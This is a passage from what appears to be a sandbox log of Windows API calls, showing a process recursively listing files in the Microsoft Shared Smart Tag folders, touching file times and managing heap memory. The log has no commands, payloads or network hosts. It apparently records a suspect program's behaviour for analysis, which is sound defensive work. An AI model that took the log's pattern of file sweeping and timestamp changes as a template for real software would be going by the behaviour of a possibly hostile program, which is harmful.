Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0054.266] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0054.266] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0054.266] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0054.267] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0054.267] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b89b100, ftCreationTime.dwHighDateTime=0x1caac21, ftLastAccessTime.dwLowDateTime=0x5392d770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7b89b100, ftLastWriteTime.dwHighDateTime=0x1caac21, nFileSizeHigh=0x0, nFileSizeLow=0x18b80, dwReserved0=0x0, dwReserved1=0x0, cFileName="IMCONTACT.DLL", cAlternateFileName="")) returned 1 [0054.267] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0054.267] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0054.267] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0054.267] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0054.267] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0054.267] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0054.267] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed123f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x5f42f7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f42f7d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LISTS", cAlternateFileName="")) returned 1 [0054.267] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93e94600, ftCreationTime.dwHighDateTime=0x1ca9120, ftLastAccessTime.dwLowDateTime=0x583906f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x93e94600, ftLastWriteTime.dwHighDateTime=0x1ca9120, nFileSizeHigh=0x0, nFileSizeLow=0x1b180, dwReserved0=0x0, dwReserved1=0x0, cFileName="METCONV.DLL", cAlternateFileName="")) returned 1 [0054.267] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0054.267] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0054.267] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0054.267] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0054.267] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0054.267] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0054.267] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85f12000, ftCreationTime.dwHighDateTime=0x1c9a11f, ftLastAccessTime.dwLowDateTime=0x69a83910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x85f12000, ftLastWriteTime.dwHighDateTime=0x1c9a11f, nFileSizeHigh=0x0, nFileSizeLow=0x120eb8, dwReserved0=0x0, dwReserved1=0x0, cFileName="METCONV.TXT", cAlternateFileName="")) returned 1 [0054.267] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0054.267] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0054.267] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0054.267] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0054.267] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0054.267] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9eea98 [0054.267] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed610) returned 1 [0054.267] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9e8440 [0054.267] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9ef0c8 [0054.267] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0054.267] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x802a9400, ftCreationTime.dwHighDateTime=0x1caad0b, ftLastAccessTime.dwLowDateTime=0x69c4c990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x802a9400, ftLastWriteTime.dwHighDateTime=0x1caad0b, nFileSizeHigh=0x0, nFileSizeLow=0x59180, dwReserved0=0x0, dwReserved1=0x0, cFileName="MOFL.DLL", cAlternateFileName="")) returned 1 [0054.267] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0054.268] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0054.268] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0054.268] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0054.268] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0054.268] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0054.268] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xab68100, ftCreationTime.dwHighDateTime=0x1cac9a5, ftLastAccessTime.dwLowDateTime=0x5943a0f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xab68100, ftLastWriteTime.dwHighDateTime=0x1cac9a5, nFileSizeHigh=0x0, nFileSizeLow=0x3574, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSTAG.TLB", cAlternateFileName="")) returned 1 [0054.268] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0054.268] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0054.268] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0054.268] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0054.268] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0054.268] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9e8460 [0054.268] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9ef1d0 [0054.268] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0054.268] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5de00200, ftCreationTime.dwHighDateTime=0x1cac9ac, ftLastAccessTime.dwLowDateTime=0x6d2e6230, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5de00200, ftLastWriteTime.dwHighDateTime=0x1cac9ac, nFileSizeHigh=0x0, nFileSizeLow=0x3d80, dwReserved0=0x0, dwReserved1=0x0, cFileName="SmartTagInstall.exe", cAlternateFileName="")) returned 1 [0054.268] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0054.268] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0054.268] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0054.268] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0054.268] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0054.268] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0054.268] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5de00200, ftCreationTime.dwHighDateTime=0x1cac9ac, ftLastAccessTime.dwLowDateTime=0x6d2e6230, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5de00200, ftLastWriteTime.dwHighDateTime=0x1cac9ac, nFileSizeHigh=0x0, nFileSizeLow=0x3d80, dwReserved0=0x0, dwReserved1=0x0, cFileName="SmartTagInstall.exe", cAlternateFileName="")) returned 0 [0054.268] GetLastError () returned 0x12 [0054.268] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e9100 [0054.268] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0054.269] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed123f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xd5807780, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd5807780, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0054.269] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeee1cd90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xef058230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xef058230, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0054.269] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0054.269] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\1033"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeee1cd90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xef058230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xef058230, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0054.278] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\1033"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x160 [0054.278] SetFileTime (hFile=0x160, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0054.278] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x9f0978 [0054.278] DeviceIoControl (in: hDevice=0x160, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9f0978, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x9f0978, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0054.279] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9f0978) returned 1 [0054.279] NtClose (Handle=0x160) returned 0x0 [0054.279] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0054.279] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0054.279] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed610 [0054.279] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0054.279] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9040 [0054.279] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeee1cd90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xef058230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xef058230, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0054.279] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc52bb100, ftCreationTime.dwHighDateTime=0x1ca6185, ftLastAccessTime.dwLowDateTime=0xeee1cd90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc52bb100, ftLastWriteTime.dwHighDateTime=0x1ca6185, nFileSizeHigh=0x0, nFileSizeLow=0x2cc7, dwReserved0=0x0, dwReserved1=0x0, cFileName="MCABOUT.HTM", cAlternateFileName="")) returned 1 [0054.279] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed698 [0054.279] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed698) returned 1 [0054.279] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed698 [0054.279] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed698) returned 1 [0054.279] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed698 [0054.279] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9ef2d8 [0054.279] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed610) returned 1 [0054.279] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9e8480 [0054.279] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9ef3e0 [0054.279] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed698) returned 1 [0054.279] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b89b100, ftCreationTime.dwHighDateTime=0x1caac21, ftLastAccessTime.dwLowDateTime=0xef058230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x7b89b100, ftLastWriteTime.dwHighDateTime=0x1caac21, nFileSizeHigh=0x0, nFileSizeLow=0x4380, dwReserved0=0x0, dwReserved1=0x0, cFileName="STINTL.DLL", cAlternateFileName="")) returned 1 [0054.279] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed698 [0054.279] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed698) returned 1 [0054.279] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed698 [0054.279] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed698) returned 1 [0054.280] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed698 [0054.280] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed698) returned 1 [0054.280] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdc65b900, ftCreationTime.dwHighDateTime=0x1caac22, ftLastAccessTime.dwLowDateTime=0xef058230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xdc65b900, ftLastWriteTime.dwHighDateTime=0x1caac22, nFileSizeHigh=0x0, nFileSizeLow=0x3580, dwReserved0=0x0, dwReserved1=0x0, cFileName="STINTL.DLL.IDX_DLL", cAlternateFileName="")) returned 1 [0054.280] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed698 [0054.280] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed698) returned 1 [0054.280] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed698 [0054.280] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed698) returned 1 [0054.280] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed698 [0054.280] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9e84a0 [0054.280] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9ef4e8 [0054.280] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed698) returned 1 [0054.280] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdc65b900, ftCreationTime.dwHighDateTime=0x1caac22, ftLastAccessTime.dwLowDateTime=0xef058230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xdc65b900, ftLastWriteTime.dwHighDateTime=0x1caac22, nFileSizeHigh=0x0, nFileSizeLow=0x3580, dwReserved0=0x0, dwReserved1=0x0, cFileName="STINTL.DLL.IDX_DLL", cAlternateFileName="")) returned 0 [0054.280] GetLastError () returned 0x12 [0054.280] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9080 [0054.280] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0054.280] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeee1cd90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xef058230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xef058230, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0054.280] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc52bb100, ftCreationTime.dwHighDateTime=0x1ca6185, ftLastAccessTime.dwLowDateTime=0xeee1cd90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc52bb100, ftLastWriteTime.dwHighDateTime=0x1ca6185, nFileSizeHigh=0x0, nFileSizeLow=0x2cc7, dwReserved0=0x0, dwReserved1=0x0, cFileName="MCABOUT.HTM", cAlternateFileName="")) returned 1 [0054.280] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b89b100, ftCreationTime.dwHighDateTime=0x1caac21, ftLastAccessTime.dwLowDateTime=0xef058230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x7b89b100, ftLastWriteTime.dwHighDateTime=0x1caac21, nFileSizeHigh=0x0, nFileSizeLow=0x4380, dwReserved0=0x0, dwReserved1=0x0, cFileName="STINTL.DLL", cAlternateFileName="")) returned 1 [0054.280] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdc65b900, ftCreationTime.dwHighDateTime=0x1caac22, ftLastAccessTime.dwLowDateTime=0xef058230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xdc65b900, ftLastWriteTime.dwHighDateTime=0x1caac22, nFileSizeHigh=0x0, nFileSizeLow=0x3580, dwReserved0=0x0, dwReserved1=0x0, cFileName="STINTL.DLL.IDX_DLL", cAlternateFileName="")) returned 1 [0054.280] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdc65b900, ftCreationTime.dwHighDateTime=0x1caac22, ftLastAccessTime.dwLowDateTime=0xef058230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xdc65b900, ftLastWriteTime.dwHighDateTime=0x1caac22, nFileSizeHigh=0x0, nFileSizeLow=0x3580, dwReserved0=0x0, dwReserved1=0x0, cFileName="STINTL.DLL.IDX_DLL", cAlternateFileName="")) returned 0 [0054.280] GetLastError () returned 0x12 [0054.280] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0054.280] FindClose (in: hFindFile=0x2e9080 | out: hFindFile=0x2e9080) returned 1 [0054.280] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ef2d8) returned 1 [0054.280] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0054.281] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b89b100, ftCreationTime.dwHighDateTime=0x1caac21, ftLastAccessTime.dwLowDateTime=0x5226a510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7b89b100, ftLastWriteTime.dwHighDateTime=0x1caac21, nFileSizeHigh=0x0, nFileSizeLow=0x1e380, dwReserved0=0x0, dwReserved1=0x0, cFileName="FBIBLIO.DLL", cAlternateFileName="")) returned 1 [0054.281] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b89b100, ftCreationTime.dwHighDateTime=0x1caac21, ftLastAccessTime.dwLowDateTime=0x60c49690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7b89b100, ftLastWriteTime.dwHighDateTime=0x1caac21, nFileSizeHigh=0x0, nFileSizeLow=0x17f80, dwReserved0=0x0, dwReserved1=0x0, cFileName="FDATE.DLL", cAlternateFileName="")) returned 1 [0054.281] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b89b100, ftCreationTime.dwHighDateTime=0x1caac21, ftLastAccessTime.dwLowDateTime=0x618eeb70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7b89b100, ftLastWriteTime.dwHighDateTime=0x1caac21, nFileSizeHigh=0x0, nFileSizeLow=0x35380, dwReserved0=0x0, dwReserved1=0x0, cFileName="FPERSON.DLL", cAlternateFileName="")) returned 1 [0054.281] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x66f78700, ftCreationTime.dwHighDateTime=0x1cb7000, ftLastAccessTime.dwLowDateTime=0xc251c2e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x66f78700, ftLastWriteTime.dwHighDateTime=0x1cb7000, nFileSizeHigh=0x0, nFileSizeLow=0x2c380, dwReserved0=0x0, dwReserved1=0x0, cFileName="FPLACE.DLL", cAlternateFileName="")) returned 1 [0054.281] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79275700, ftCreationTime.dwHighDateTime=0x1caac21, ftLastAccessTime.dwLowDateTime=0xeedd0ad0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x79275700, ftLastWriteTime.dwHighDateTime=0x1caac21, nFileSizeHigh=0x0, nFileSizeLow=0x26d80, dwReserved0=0x0, dwReserved1=0x0, cFileName="FSTOCK.DLL", cAlternateFileName="")) returned 1 [0054.281] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf6a43200, ftCreationTime.dwHighDateTime=0x1cb700e, ftLastAccessTime.dwLowDateTime=0xd5807780, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xf6a43200, ftLastWriteTime.dwHighDateTime=0x1cb700e, nFileSizeHigh=0x0, nFileSizeLow=0x39580, dwReserved0=0x0, dwReserved1=0x0, cFileName="IETAG.DLL", cAlternateFileName="")) returned 1 [0054.281] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b89b100, ftCreationTime.dwHighDateTime=0x1caac21, ftLastAccessTime.dwLowDateTime=0x5392d770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7b89b100, ftLastWriteTime.dwHighDateTime=0x1caac21, nFileSizeHigh=0x0, nFileSizeLow=0x18b80, dwReserved0=0x0, dwReserved1=0x0, cFileName="IMCONTACT.DLL", cAlternateFileName="")) returned 1 [0054.281] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed123f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x5f42f7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f42f7d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LISTS", cAlternateFileName="")) returned 1 [0054.281] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0054.281] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed123f0, ftCreationTime.dwHighDateTime=0x1d301be, 